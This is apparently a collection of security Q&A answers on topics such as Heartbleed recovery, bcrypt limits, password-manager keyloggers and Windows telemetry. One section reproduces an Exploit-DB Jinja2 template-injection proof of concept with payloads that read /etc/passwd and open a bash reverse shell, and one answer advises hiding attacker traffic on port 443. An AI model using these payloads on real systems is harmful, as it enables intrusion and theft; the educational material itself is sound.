How to be sure that a program uninstalled properly in Windows?

Unless you do a forensic analysis of every change the program makes on install and updates you can't be sure its uninstaller removes everything. There's file creations, dll registrations, registry changes and start up config changes  amongst other changes that an application installation can perform. You can't even search for changes as the malicious programs can hide these actions by using names unrelated to the program you installed. You could rollback to a restore point but that is impractical given you may want to uninstall apps at any point.

You can sandbox with virtualisation, that's not just restricted virtual machines but you also use containerisation like Docker. Set up a container with the application and dependencies you need and delete the container and image when you are done.


Given a set of ports is there one that is more likely to bypass a firewall?

Things don't really work how you assume. A firewall CAN drop all incoming 443 traffic and allow only outgoing connections and then connections that have been initialized from inside the firewalled area towards outside.
As for the port numbers:

6667 is used by IRC so it's likely to be blocked anyway.
That UDP 8080 may be used for anything, including P2P so it's also likely to be blocked.
TCP 53 is mostly used internally for DNS zone file transfers, but it may be needed for zone communications between areas, so it may represent a vulnerability but it will not likely be open by default.
In the case of 443, if you host a server that requires authentication it is likely that you will need it open.

So given the limited choices above, it's all about what the target network will use: will it use UDP for P2P transfer, will it use IRC, does it host a secure server or will it use zone transfers ?
After determining that the attacker will probably choose the right option for the target. Generally, out of them, assuming all are available I'd focus on 443 because it will have encrypted traffic and you could hide your own traffic there or on the UDP port as secondary because P2P traffic is heavy and infiltration is easier when there's heavy traffic.


Logged out of Facebook on all devices on a sudden. Should I be worried about being hacked?

Facebook reported a data leak today and forced a large number of accounts to log off as a precaution. Source: NY Times and Facebook.

That NYT article says "The company forced more than 90 million users to log out early Friday, a common safety measure taken when accounts have been compromised."

Additional article from The Hacker News - "unknown hacker or a group of hackers exploited a zero-day vulnerability in its social media platform that allowed them to steal secret access tokens for more than 50 million accounts" and "Facebook has already reset access tokens for nearly 50 million affected Facebook accounts and an additional 40 million accounts, as a precaution"


Why does Telegram not use end-to-end encryption?

As far as guessing anyones motivation for not doing something goes:

Yes, especially group chat is not easy to implement as secure key sharing in groups is quite a challenge when you consider what happens if anyone leaves the group for example.

Threema does (claim to) securely encrypt group chats, as does Tox. As Tox is open source, you may want to have a look there. Given: their mobile apps are in beta right now (at least for iOS).


Can keyloggers intercept passwords when a password manager autofills a field?

Offline Password manager autofills can work in two ways (at least most of them):

By copy-pasting data quickly from your manager to the site or
By simulating keystrokes for all the data on file

Both these solutions have their fair share of advantages which are listed below, but before anything it's important to note that - nothing is 'perfectly secure' from a decently featured keylogger

What does this mean? Well. By definition, a keylogger is generally assumed to be software that captures keystrokes. Now it'd be part of this program's functionality to record any keystrokes - so it would capture all passwords entered by a password manager that simulated keystrokes. However, there are other types of password managers that don't do this. But today, many 'commercially' sold keyloggers even include the capability to take screenshots at particular intervals of time and save all the contents of the clipboard to a file. The last bit is  important, because it sort of renders even password managers that use the clipboard to fill in these forms useless.

But.

Here's the thing - password managers aren't meant to prevent keyloggers from capturing  your data as this answer points out well. Quoting directly:

  "The point of keepass is not to prevent keyloggers. (Granted incidentally it will almost prevent hardware keyloggers; someone inserting a keylogging device between your keyboard and computer will not be able to observe a password you used once via cutting and pasting."

So the real solution to preventing these attacks is to monitor your system for any keyloggers or use some sort of AV solution. All of this, you've stated pretty well in your question. So:

  But can a keylogger (or some other malware) intercept the data when a password manager autofills a password or other field?

The answer to this is yes. Since we've already spoken about how keyloggers might steal passwords when they're being filled, the simplest type of malware that fits this question would be a malicious browser extension. It's simple to write a nefarious extension that saves all entered form data or sends it to a C&C server. In fact, you might even give it permission (because Chrome in question just asks you for permission during installation and you're likely to click through all requested perms without really reading them. But again, who does?)

Or if you'd like to put in a bit more effort, malware could also intercept and log all network traffic and then search the decoded output for any password fields. The real kicker here is that since it's on your device, you won't even know that you are being MITM'ed.


Can closed, sleeping MacBook send network data?

When you close the lid of a MacBook, it triggers a sensor which says to the running operating system "the lid is closed". It is up to the OS to decide what to do in this case. In particular, nothing forces the OS to go to sleep; the machine may perfectly operate while closed (this is not recommended because heat dissipation does not work as well when the lid is closed, but there is no impossibility). If the OS decides to go to sleep, then it also registers to the relevant circuitry the nature of the hardware events which may wake it up; these may include "opening the lid" but also "reaching a given specific time".

There are in fact several levels of sleeping; see for instance this page. Depending on the level, the extent of the sleeping changes (i.e. which elements are stopped and which keep on running). In any case, if the machine has been corrupted by some malware, then that malware may well make it so that when you put the machine to sleep by closing the lid, the "sleep mode" is only emulated, and the machine still runs; or the malware schedules an automatic wake-up even if the lid is still closed, in order to further its nefarious schemes.

It is even possible that the people at Apple really play such games for totally honest and harmless reasons, e.g. to run normal regular housekeeping tasks when it is least consequential for the human user, i.e. when the user is not in front of the machine and using it.

Alternatively, you are a sleepwalker.


Is there a way to protect against mdk3 attacks?

Is there a way to protect against attacks?

Sadly you cannot stop an attacker from sending deauthentication packets.

But to minimize damage make sure you use WPA2 with a long good password. An attacker will usually send deauthentication packets so he can capture a handshake and brute force it to gain the WiFi password. By having a hard to crack password you are making the attack much harder and longer and in some cases almost impossible.

  Is there a way to know attacker ?

As said in the comments, the attacker is probably close by so walk around a little and find him.

You can read a little more about the subject in this answer.


SELinux is not related to FIPS 140-2. You can use SELinux as part of a FIPS-compliant product; you can equally not use SELinux as part of a FIPS-compliant product. Whether it's a good idea to use SELinux depends on the complexity of your product and on how much work has already been done (by you or others) in defining relevant SELinux policies.

FIPS 140 level 2 requires at least role-based authentication. User authentication, as provided by the most basic Linux system, is sufficient. Role-based authentication means that you're allowed to have shared accounts (e.g. a direct login to root), but you don't have to use any shared accounts.


John The Ripper seems to welcome external contribution especially through their "Jumbo" aka "community enhanced" version of the software instead of the mainstream one.

It is described as having a lower quality standard, but easier for patch integration allowing more people to integrate new modules in a more convenient way which, I think, is precisely what you are looking for.

You should start from there. It contains already a bunch (a hundred according to the main site !) of modules you can take as sample, a page with patch-related documentation, and in case all this is not sufficient advice you to get in touch with the John mailing list for even more help.


Here's a way to exploit web applications that accept user-supplied values in Jinja2 templates (also available in Django). Source: https://www.exploit-db.com/exploits/46386
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341

// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.

//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2

@app.route("/")
def index():
            username = request.values.get('username')
            return Jinja2.from_string('Hello ' + username).render()

if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

How to prevent it:
Never let the user provide template content.


Never heard of compiler vulnerabilities when compiling?

Yes, take a look at the change log of gcc, llvm, etc, although practical examples are rare. IIRC I have seen at least two practical PoC's; one was for java and the other a C compiler. If you extend the concept of a compilation to include JIT you can find many more examples in JavaScript, Ruby or the PHP engine to mention some.

There is also an issue of compilers introducing vulnerabilities into the compiled binary that may not exist in the source code through optimization. The first example that comes to mind is this Linux kernel exploit from a few years back where compiler optimization removed a check that would have prevented the vulnerability in the first place.

CERT cover some various examples of code that may get optimized into being insecure over here.


What should a website operator do about the Heartbleed OpenSSL exploit?

There is more to consider than just new certificates (or rather, new key pairs) for every affected server. It also means:

Patching affected systems to OpenSSL 1.0.1g
Revocation of the old keypairs that were just supersceded
Changing all passwords
Invalidating all session keys and cookies
Evaluating the actual content handled by the vulnerable servers that could have been leaked, and reacting accordingly.
Evaluating any other information that could have been revealed, like memory addresses and security measures

Neel Mehta (the Google Security engineer who first reported the bug) has tweeted:

  Heap allocation patterns make private key exposure unlikely for #heartbleed #dontpanic.

Tomas Rzepka (probably from Swedish security firm Certezza) replied with what they had to do to recover keys:

  We can extract the private key successfully on FreeBSD after
  restarting apache and making the first request with ssltest.py

Private key theft has been also demonstrated by CloudFlare Challenge.

And Twitter user makomk chimed in with:

  I've recovered it from Apache on Gentoo as a bare prime factor in
  binary, but your demo's a lot clearer...It has a lowish success rate,
  more tries on the same connection don't help, reconnecting may,
  restarting probably won't...Someone with decent heap exploitation
  skills could probably improve the reliability. I'm not really trying
  that hard.

I summarized the bullet points above from heartbleed.com (emphasis mine):

  What is leaked primary key material and how to recover?

  These are the crown jewels, the encryption keys themselves. Leaked
  secret keys allows the attacker to decrypt any past and future traffic
  to the protected services and to impersonate the service at will. Any
  protection given by the encryption and the signatures in the X.509
  certificates can be bypassed. Recovery from this leak requires
  patching the vulnerability, revocation of the compromised keys and
  reissuing and redistributing new keys. Even doing all this will still
  leave any traffic intercepted by the attacker in the past still
  vulnerable to decryption. All this has to be done by the owners of the
  services.

  What is leaked secondary key material and how to recover?

  These are for example the user credentials (user names and
  passwords) used in the vulnerable services. Recovery from this leaks
  requires owners of the service first to restore trust to the service
  according to steps described above. After this users can start
  changing their passwords and possible encryption keys according to the
  instructions from the owners of the services that have been
  compromised. All session keys and session cookies should be invalided
  and considered compromised.

  What is leaked protected content and how to recover?

  This is the actual content handled by the vulnerable services. It
  may be personal or financial details, private communication such as
  emails or instant messages, documents or anything seen worth
  protecting by encryption. Only owners of the services will be able to
  estimate the likelihood what has been leaked and they should notify
  their users accordingly. Most important thing is to restore trust to
  the primary and secondary key material as described above. Only this
  enables safe use of the compromised services in the future.

  What is leaked collateral and how to recover?

  Leaked collateral are other details that have been exposed to the
  attacker in the leaked memory content. These may contain technical
  details such as memory addresses and security measures such as
  canaries used to protect against overflow attacks. These have only
  contemporary value and will lose their value to the attacker when
  OpenSSL has been upgraded to a fixed version.


Multi factor authentication on Ubuntu workstations, where to start?

Duo Security's open source duo_unix project demonstrates how to do this with PAM and sshd (and Duo's two-factor service).  Disclaimer, I am a Duo engineer.


You are the "attacker", not the victim

In the described scenario, it protects your systems from being used to attack some third-party victim. If everybody does this, this also helps potential victims indirectly by making this attack ineffective or hard to perform.


HMAC Based Request Signing - Storing the Salt

The most important thing you should be doing is: use SSL.  Use HTTPS, not HTTP.

Justification:

If you use SSL, your approach is reasonable.

Tactical detail: I suggest using PBKDF2 with a large iteration count to generate the HMAC key from the password.  You can use a fixed value (or a hash of the username) as the salt.
This will admittedly have some weaknesses: since you store a hash of the password on the client device, someone who gains access to the mobile device can use dictionary attacks to try to recover the password, and they might or might not be successful, depending upon how strong the password is.  Also, anyone who gains access to the mobile device can learn the crypto key, which is all that is needed to submit authenticated HTTP requests.  In many settings, this weakness might be an acceptable risk.

If you don't use SSL, your scheme will probably have major security problems.  Anyone who can sniff the wire will be able to learn a hash of the password, and if the password is not strong, they may be able to recover the user's password using dictionary search.

If you want even better security, then here is a slightly stronger approach:

Use SSL throughout.  Don't mess around with unencrypted HTTP; use HTTPS for everything.
Use a full-strength crypto key. Have the server generate a full-strength 128-bit cryptographically-random crypto key for use with HMAC.  The server can store this key.

The first time the client connects, it will need to learn this crypto key.  To do that, have a special request where the client supplies its username and password, and receives the crypto key in response if the password is correct.  (The server can rate-limit these requests, to deter dictionary attacks.)  When the client receives the crypto key, it stores it locally.
For every subsequent request, the client can look up its locally-stored copy of the crypto key and use that to compute the HMAC.
If the user logs onto the web site from a new device, no problem, that device just goes through the initialization step mentioned above to retrieve the crypto key, then everything continues to work.

This avoids the need to store the user's password or a hash of the user's password on the end device.  It also prevents dictionary-search attacks against the crypto key; since the crypto key is a fully-random value that's chosen randomly independent of the password, off-line dictionary search attacks against the password are not going to be successful at retrieving the key.  However, it does retain the weakness that if a bad guy gets their hands on the client device, they will be able to learn the crypto key and thus issue forged requests.  I suspect that's about as good as you can do, given your goals.


Can we write both encrypted text and plain text to the same file?

Yes, you can mix encrypted and unencrypted data in the same file.  The real question is whether you really want to, or whether it's easier to just encrypt the whole file.

In particular, regarding performance concerns, the general rule of thumb is that public-key encryption schemes like RSA are slow (especially with such a large modulus as you're using), while symmetric ciphers like AES are blazingly fast, especially on modern CPUs that have hardware support for them.  Since you're using a hybrid cryptosystem where you encrypt the data with AES and then encrypt the AES key with RSA, the total time needed to encrypt or decrypt a transaction is almost certainly dominated by the slow RSA part of the system, which does not depend on the amount of encrypted data.

So, in practice, there is almost certainly no noticeable performance gain from encrypting only part of the data, and so you might as well encrypt all of it.  The main exception being, of course, if your transactions include some (meta)data that you need to store unencrypted.  (Even if so, you should still include those unencrypted fields when signing the transactions, so that they cannot be tampered with.  Assuming that you are signing the transactions, that is.  If you're not, consider whether you should.)

OK, so let's assume that you do want to store encrypted and unencrypted data in the same text file.  How should you do it?

The output of pretty much all modern encryption schemes is a stream of random-looking binary data.  You can't directly include that in a plain text file (or, if you do, it will no longer be plain text), but you can e.g. base64 encode it into (mostly) alphanumeric ASCII text.

Depending on the mode of operation that you're using AES with, each piece of AES-encrypted data will typically be a few bytes longer than the unencrypted input.  (You don't say what mode of operation you're using; generally I'd recommend a misuse-resistant authenticated encryption mode like AES-SIV or AES-GCM-SIV, although that's not strictly necessary if you're signing the full transactions anyway.)  The base64 encoding will further elongate the ciphertext by a factor of 4/3 ≈ 1.33, but even so, it will still be of comparable length to the unencrypted input.  So it's perfectly reasonable to, say, replace a string in a text file with the AES-encrypted and base64-encoded version of the same data.

On the other hand, while AES keys are only 16 to 32 bytes long, encrypting them with RSA will produce a ciphertext of the same size as the RSA modulus.  With a 15360 bit modulus, that works out to 2.5 kilobytes of base64-encoded ciphertext for each transaction.  You can probably just append that blob to the end of each transaction, but it's worth noting that its size (base64-encoded or not) will probably dominate your storage requirements.

If you want to reduce that storage overhead, you need to either use a smaller RSA modulus (but not too small, or it won't be secure) or switch to some other public-key encryption scheme such as ECIES with less overhead than RSA.

(Or, if you want to keep it simple and safe, consider just ditching your custom RSA+AES based scheme and replacing it with e.g. NaCl crypto_box or any of its various compatible implementations.  That way, as long as you fulfill the crypto_box contract of choosing a random secret key and never using the same nonce for two transactions, you won't need to worry about any other details.  Well, except for base64-encoding the ciphertext, if you want to do that.)


How can I convince my customers not to send Credit Card data over email?

It's very simple, when you are taking in credit card information it means you have to be compliant with PCI-DSS being a merchant. Now to make your customers understand this you need to explain to them that you are simply not allowed to take credit card details through email. Kindly refuse it, acknowledge it's annoying but nescessary and immediately destroy the email.

You are not allowed to store or accept credit card information except when it complies with the standards as detailed in the attached document. If you do so you can make yourself liable for any credit card fraud which originates from a credit cards leaked through your business.

You can also explain to your customers that they should never send credit card details via email as this may be seen as an act against due dilligence (which customers need to take into account as well).

One way of solving this is only allowing credit card payments through bank terminals or through a payment gateway like PayPal. These will take care of the liability issue.


How can I help an online identity theft potential victim?

you can't
you can't

There is one thing you should have done instantly:

File a complaint with the police, so they know there is a possibility that his personal details might be used in an identity scam.

Of course there are some standard things:

change pincodes
change passwords
report the incident to your bank
block any related credit cards

But to be honest, 3 years after the facts is a bit late.


Mandatory vacation as a security control?

Actually, it is pretty effective.  Yes the person can prepare for it but almost always something somewhere is overlooked.  Will you catch it while that person is off?  Not necessarily, but it causes them to have to think further ahead about malicious intent.  That makes things more complicated and forces greater possibility of making a mistake.

We actually caught someone at a previous company who was stealing the company's phone lines and using them for his personal hobbies with this.  He set up his own 800 number back in the day along with a number of other things.  The VP caught it when something went wrong and he wasn't around to fix the problem himself.

The better approach I've seen is that instead of requiring 1 week, require 2.  This has multiple benefits.  1.  The person is away from work for 2 weeks and that forces the person to actually relax meaning that he or she will come back more rested.  2.  Being gone 1 week, normally things can wait for that person's return.  Being gone for 2 almost always ensures someone has to take a hold of your responsibilities.  This leads to both oversight into what someone is doing and it forces cross training.  It's a win/win.


What are the privacy pros and cons of using a public DNS server vs. your own?

So, if your own DNS server is on your LAN, it'll still be forwarding requests to other DNS servers, revealing your request to them.  So the remote DNS server will see your IP rather than the public DNS service IP.

As far as TOR is concerned, you can route DNS over TOR which will make the TOR exit gateway the only one seen by the public DNS provider.

If you're curious about what Google Public DNS does with your information, I suggest reading the privacy policy.  You could, of course, assume that Google lies in their privacy policies, depending on your level of paranoia.


How to password protect a Truecrypt volume using a Diffie Hellman public key exchange?

Let's call the person you are sending the volume to Bob, since that is traditional. Then:

You choose a very large - at least 300 digits long - prime number p, and a small number g and send them to Bob (the person you are sending the Truecrypt volume to).
You pick a large (at least 100 digits) secret number a.
Bob picks a large (at least 100 digits) secret number b.
You calculate the value of g^a mod p and send it to Bob. Call this
C.
Bob calculates g^b mod p and sends it to you. Call this D.
You calculate D^a mod p. This gives you a secret number S.
Bob calculates C^b mod p. This gives him S as well.

Now you an Bob both know S. Eve, who has listened to the whole conversation, knows the values of p, g, C, and D but she cannot calculate the value of S because she does not know the values of a or b - those were secret and never went over the insecure communication channel.

Note however that this is not enough to solve your problem. You are still vulnerable to a Man-In-The-Middle attack. If Eve can impersonate Bob and trick you into doing the above with her instead of him, then she gets to pick b and so she can work our S. So you need to add some authentication so you are sure that it's really Bob you are talking to.


What are the privacy and security implications of Windows Telemetry

What is Telemetry?
Windows OS monitors and debugs information about the user's running applications. This is called instrumentation. Gathering remote information that is collected by instrumentation is what is called Telemetry.
As the product is not opensource, one can legitimately think of the worse. But to keep the answer as objective as possible, I prefer to quote from Windows 10 feedback, diagnostics, and privacy: FAQ:

As you use Windows, we collect performance and usage information that
helps us identify and troubleshoot problems as well as improve our
products and services. We recommend that you select Full for this
setting.

Basic information is data that is vital to the operation of Windows. This data helps keep Windows and apps running properly by
letting Microsoft know the capabilities of your device, what is
installed, and whether Windows is operating correctly. This option
also turns on basic error reporting back to Microsoft. If you select
this option, we’ll be able to provide updates to Windows (through
Windows Update, including malicious software protection by the
Malicious Software Removal Tool), but some apps and features may not
work correctly or at all.

Enhanced data includes all Basic data plus data about how you use Windows, such as how frequently or how long you use certain features
or apps and which apps you use most often. This option also lets us
collect enhanced diagnostic information, such as the memory state of
your device when a system or app crash occurs, as well as measure
reliability of devices, the operating system, and apps. If you select
this option, we’ll be able to provide you with an enhanced and
personalized Windows experience.

Full data includes all Basic and Enhanced data, and also turns on advanced diagnostic features that collect additional data from your
device, such as system files or memory snapshots, which may
unintentionally include parts of a document you were working on when a
problem occurred. This information helps us further troubleshoot and
fix problems. If an error report contains personal data, we won’t use
that information to identify, contact, or target advertising to you.
This is the recommended option for the best Windows experience and the
most effective troubleshooting.

Note that only on Enterprise Edition one can turn that feature off totally. On Windows 10 Home and Professional, for instance, it can be set only it to Basic.
UPDATE 1:

Is this information specific to the telemetry service or just general
information that Windows collects? I've had problems in tying up
what's telemetry (which was back-ported to win8/7) and what's general
data passed back to MS.

Telemetry is a main part of   Diagnostics Tracking Service available in Windows 8.1, Windows Server 2012 R2, Windows 7 Service Pack 1 (SP1), and Windows Server 2008 R2 SP1,  Windows Server 2012 R2 Datacenter,
Windows Server 2012 R2 Essentials,
Windows Server 2012 R2 Foundation,
Windows Server 2012 R2 Standard  and Windows 10. The quoted paragraphs concern the Diagnostics Tracking Service mechanism in which other modules, apart from Telemetry, are included.
Diagnostics Tracking Service consists mainly in these files:

telemetry.asm-windowsdefault.json
diagtrack.dll
utc.app.json
utcresources.dll

As you can see Telemetry is a JSON file that is used to describe the data sent back and forth between Windows machine (client) and server.
If you are curious about the details, you can see its content when you downloand the appropriate patch you want. When you extract the content of MSU file (instructions here) and retrieve the CAB files, you will find a folder which name looks something like this: amd64_microsoft-windows-u..ed-telemetry-client followed by several numbers. Check the content of that folder and open the Telemetry file in JSON format to have a technical insight about its details, mainly description of the data echanged between your machine and Microsoft server(s).
Telemetry is also seen as a part of Microsoft Customer Experience Improvement Program as

it is impossible for us to contact most of our customers in person to
get their feedback. The Customer Experience Improvement Program (CEIP)
was created to give all Microsoft customers the ability to contribute
to the design and development of Microsoft products.

If you check Privacy Statement for the Microsoft® Customer Experience Improvement Program you can read:

When you participate, we collect basic information about how you use
your programs, your computer or device, and connected devices. We also
collect information about how each is set up and performing. These
reports are sent to Microsoft to help improve the features our
customers use most often and to create solutions to common problems.

Which statement is in contradiction with the first text we quoted as the user has no ability to turn off totally Telemetry.
As for the exact data being exchanged through Telemetry, apart from the quoted text and the efforts you may make to read that JSON file (and may be survey your machine's communication?), I can not say more. But it is really very interesting to know that precisely (if it is possible).
UPDATE 2:
Additional information I found ( I still refer to official documentation only to stay objective):
From Instrumentation and Telemetry Guidance, we can read that the information generally include:

Details of operational events that occur as part of the normal operation of the application, together with useful information about that event. For example, in an ecommerce site it would be useful to record the order number and value of each order that is placed. These are typically informational events that are used to collect data about the way the application is used.
Details of runtime events that occur, and useful information about that event such as the location or data store used and the response time for access to the data store. These are also informational events that can provide additional insight into the normal operation of the application. The event should not include any sensitive information such as credentials, or any other data that might enable an attacker obtaining the logs to compromise the system.
Specific data about errors that occur at runtime, such as the customer ID and other values associated with an order update operation that failed. Typically these are warning or error events and will contain one or more system-generated error messages.
Data from performance counters that measure specific values related to the operation of the application. These might be built-in system counters, such as those that measure processor load and network usage, or they might be custom performance counters that measure the number of orders placed or the average response time of a specific component.

(Further reading: Telemetry – Application Instrumentation, Windows Azure: Telemetry Basics and Troubleshooting)
From Share telemetry data with Mozilla to help improve Firefox, we can read that it collects for example:

memory consumption
responsiveness timing
feature usage
memory configuration
hardware configuration

Note that whatever a user does, it seems it is impossible to know what Windows collects and sends permanently. Windows does not stop sending undefined information on his/her behalf as this study shows: Even when told not to, Windows 10 just can’t stop talking to Microsoft. But still what the official documentation describes is not very good for the user such as when Windows takes system files or memory snapshots, which may unintentionally include parts of a document you were working on when a problem occurred.


Can all of Facebook's data be wiped out?

I want to highlight some points in response to your question and according to my best knowledge. Anyhow to give a more appropriate answer, need your question more specific.

In both cases

1) The risk factor remains everywhere. Even if something has 0.1 percent chance of bad happening, it might happen... “Risk theory”

2) Facebook is a huge company with large research and development sector. Surely, they have appropriate arrangement of data loss recoveries and to prevent hackers to wipe out their data.

3) Every process take some time so if such kind of activity starts happening, their immune system will detect the anomalies and take appropriate actions before a huge loss happens.

4) Even scrapping Facebook public data for research purpose requires proper legal permissions. They have checks for such activities.


How to find organization name with tshark

The only solution found yet is to pipe IP to whois command:

jwhois is faster than whois (test it with time [cmd] )

#!/bin/bash

tshark -T fields -e ip.addr -E aggregator=" " -l| |sed "s/192.168.1.39//;s/^[ ]*//" |  while read i
do
echo " "
echo "$i"
jwhois $i | grep -i 'orgname\|country\|netrange' | sed 's/^[ ]*//'
done


Repercussions of disabling file read and write in Adobe Flash player?

It breaks most SWFs. The issue is with LoadVars.Load(). This functions was widely used in Flash files. You need to check with your vendors on this.

From the Adobe Support:

  Downloads variables from the specified URL, parses the variable data,
  and places the resulting variables into the LoadVars object that calls
  the method. You can load variables from a remote URL or from a URL in
  the local file system; the same encoding standards apply to both.

Also see this reference.


Can malware be transmitted via a USB charger plugged into a wall socket?

There is nothing stopping an attacker from putting a powerline ethernet transceiver as well as a USB-enabled microcontroller into a USB charger. This would allow them to communicate with the charger in the hope to offload some malware onto a smartphone plugged into that port. However, such a device would need to be highly specialized and specifically designed for this purpose. There is simply no way that powerline ethernet could just magically transmit data over the USB data lines to a smartphone.
If you are at all afraid that something like this might be happening, there are products that exist specifically to prevent such a scenario. For example, the SyncStop:

SyncStop prevents accidental data exchange when your device is plugged into someone else’s computer or a public charging station. SyncStop achieves this by blocking the data pins on any USB cable and allowing only power to flow through. This minimizes opportunities to steal your data or install malware on your mobile device.

You could also cut the cable open and physically disconnect the D+ and D- pins (which is effectively what the SyncStop does), and that will definitely stop all communication.
How it works
Powerline ethernet works by transmitting data on a high frequency over a building's mains power wiring. This is possible due to the fact that AC mains power uses either 50Hz, 60Hz or some other relatively low frequency. These devices transpose their data directly on top of the 120V/240V already present on the mains. You can read more about how this is actually don on a hardware level here.
Any wall charger that you find that is smaller than a baseball and weighs next to nothing is what is known as a switching AC to DC converter. These devices work by rectifying the mains power to DC, smoothing the rectified DC with a large capacitance, and then using a small transformer to switch the rectified DC at a very high speed (in the neighborhood of 100s of kHz to MHz). You can read more about them here.
Why it's not possible
To rectify the AC mains to DC, the charger uses either a full wave, or half wave rectifier. These are just diodes, any signal present on the AC mains will also be present on the rectified DC, and the same can be said of the smoothing circuitry. Even if the signal present on the rectified DC was able to somehow make its way across the transformer, the switching circuit in the charger will cause quite large portions of that signal to be lost when the transformer is switched off. After the transformer, there is yet more smoothing circuitry that ensures the final output is as close to 5V as possible meaning that even if some signal made it through the aforementioned gauntlet, it would be smoothed out into silky smooth 5V.
The above doesn't even consider how USB works. There are two data pins, D+, and D-. They form what is known as a differential pair, and they mirror each other. This means that any signal present on the 5V line will also need to be mirrored to ground in order for the USB transceiver on the phone to even bat an eye. Moreover, the USB specification includes packets, handshaking, and everything you would expect from a high-speed protocol like USB. I know what you are thinking "Doesn't Ethernet also have packets and handshaking?" and yes, it does,
but that's like saying a zebra is the same as a platypus.
So no, without modifying an off-the-shelf charger with some quite complicated hardware and software, it is impossible for this to happen.


Account lockout to protect from brute force: doesn't it open up vulnerabilities to DOS attacks?

Yes, you are right, always there is need to based on the risk management of the situation and to understand what your risks and what is the main issue that you want to solve better that the other issues.

A good practice is to combine, for example you can deploy a login delay that will will not really hurt your user experience but will make hard life for the the bad guys. Let's say, make a random delay like 2 sec - to 10 and don't lock your user for more that 2 min.

And better use captcha even without blocking users at all (or only block after a big amount of failed logins based on IP address and not based on user name)..

A nice reference to read (not exactly what you are asking but interesting to get some insights):
https://crackstation.net/hashing-security.htm


Should you have full account access when you forget your password?

Well, part of the procedure could be considered to be unsafe: when a user has access to your email account AND knows what websites you might have registered accounts at (like FaceBook, Twitter, Google and the lot). That is probably the most simple and most obvious security issue that might arise here.

We could also take a look at the questions "can the email be intercepted in any way" and "is that recovery-link using a strong, random key or could someone guess it"... but I guess that's overkill. For the regular scenario of password recovery you described, I would say that the only real "security problem" is the one I described above: someone has access to your email and knows what sites to check out and recover your passwords.

As for the damage that might be caused... that depends on what websites the "intruder" is able to recover passwords for. You'll probably won't mind losing your Twitter account in a worst case scenario, but this shows why online-banking accounts do not offer that kind of "password recovery" in the first place. There "could" be a chance someone's watching over your shoulder.

Wrapping it up by giving you a solid hint to work with: if your MyApp.com is something that could financially ruin people when put in the wrong hands, don't use this kind of password recovery... but if you're creating the next Facebook or Twitter, you're good to go with such a recovery procedure.

Hope that helps. ;)


Why did secureserver.net (GoDaddy) access my Gmail account?

Godaddy-hosted email (if you choose to host your email through godaddy) is hosted under the "secureserver.net" domain. In fact, the addresses you configure into your mail client are pop.secureserver.net, imap.secureserver.net, smtp.secureserver.net, etc.

If you configured your Godaddy webmail (for perhaps some other domain) to pull in mail from your Gmail account, then you will see it show up as going to secureserver.net rather than whatever domain your mail is registered under.

And if you didn't do it, someone else did. Hackers frequently go through intermediary services to mask their identity. This is as likely an answer as any.

So... change your password


Does bcrypt have a maximum password length?

Yes, bcrypt has a maximum password length. The original article contains this:

  the key argument is a secret encryption key, which can be a user-chosen password of up to 56 bytes (including a terminating zero byte when the key is an ASCII string).

So one could infer a maximum input password length of 55 characters (not counting the terminating zero). ASCII characters, mind you: a generic Unicode character, when encoded in UTF-8, can use up to four bytes; and the visual concept of a glyph may consist of an unbounded number of Unicode characters. You will save a lot of worries if you restrict your passwords to plain ASCII.

However, there is a considerable amount of confusion on the actual limit. Some people believe that the "56 bytes" limit includes a 4-byte salt, leading to a lower limit of 51 characters. Other people point out that the algorithm, internally, manages things as 18 32-bit words, for a total of 72 bytes, so you could go to 71 characters (or even 72 if you don't manage strings with a terminating zero).

Actual implementations will have a limit which depends on what the implementer believed and enforced in all of the above. All decent implementations will allow you at least 50 characters. Beyond that, support is not guaranteed. If you need to support passwords longer than 50 characters, you can add a preliminary hashing step, as discussed in this question (but, of course, this means that you no longer compute "the" bcrypt, but a local variant, so interoperability goes down the drain).

Edit: it has been pointed out to me that although, from a cryptographer's point of view, the article is the ultimate reference, this is not necessarily how the designers thought about it. The "original" implementation could process up to 72 bytes. Depending on your stance on formalism, you may claim that the implementation is right and the article is wrong. Anyway, such is the current state of things that my advice remains valid: if you keep under 50 characters, you will be fine everywhere. (Of course it would have been better if the algorithm did not have a length limitation in the first place.)


Using javascript, is it possible to iterate through all cookies saved in the user browser and send them to me?

You can only iterate through cookies associated with the site the javascript is executing from.  And you can only iterate through cookies that are not marked as server only (newer browsers only though).

This is a form if Cross Site Scripting (XSS). http://en.wikipedia.org/wiki/Cross-site_scripting


Certificate Chains When Importing Signed CSR Response

In SSL, when the client sends its certificate, it actually sends a certificate chain, from root down to the client's certificate (the root itself needs not be sent, but intermediate CA shall be sent; see the standard there and there). To rebuild such a chain, your software apparently needs you to import the CA certificate in the keystore.

Also, to some extent, validating the certificate received from the CA makes sure that the certificate was not altered during its transit. Nominally, your certificate is not for you; it is something you show to other people (or machine) and they validate it; but you prefer it when you can check that you have a "good certificate" to show.


Why does GoDaddy have four different certificate chain, G2, G3, G4?

"G" stands for Root certificates generation. Basically, it identifies the generation (version) of a Root certificate that signs the Chain of trust. When CA needs to get a new chain (for example, because of upgrade from SHA-1 to SHA-256), they just increment the generation number. This is good because obsolete certificates can be better identified.


Can we detect other websites of a user on a shared hosting?

Most DNS providers provide "domain privacy" services, if you're using these then chances are you're fine.
However, it does go back to the age old thing of determining your threat model. There are more ways than technical tooling to link together two domains and who might own them. For example, analysing the types of content posted on each, the login/administration times, the language that is used, etc. Again, what's your threat?
You should also consider that hosting two separate things in the same place could be a risk. If you want to keep these things separate badly, I advise hosting them in different locations.
As you stated, WHOIS doesn't come back with any personal information such as an address, administrator email, etc. This suggests you're taking advantage of domain privacy services from your registrar and you're more than likely fine.


Where can I get a list of "bad" IP addresses that are likely to be used by attackers or spammers?

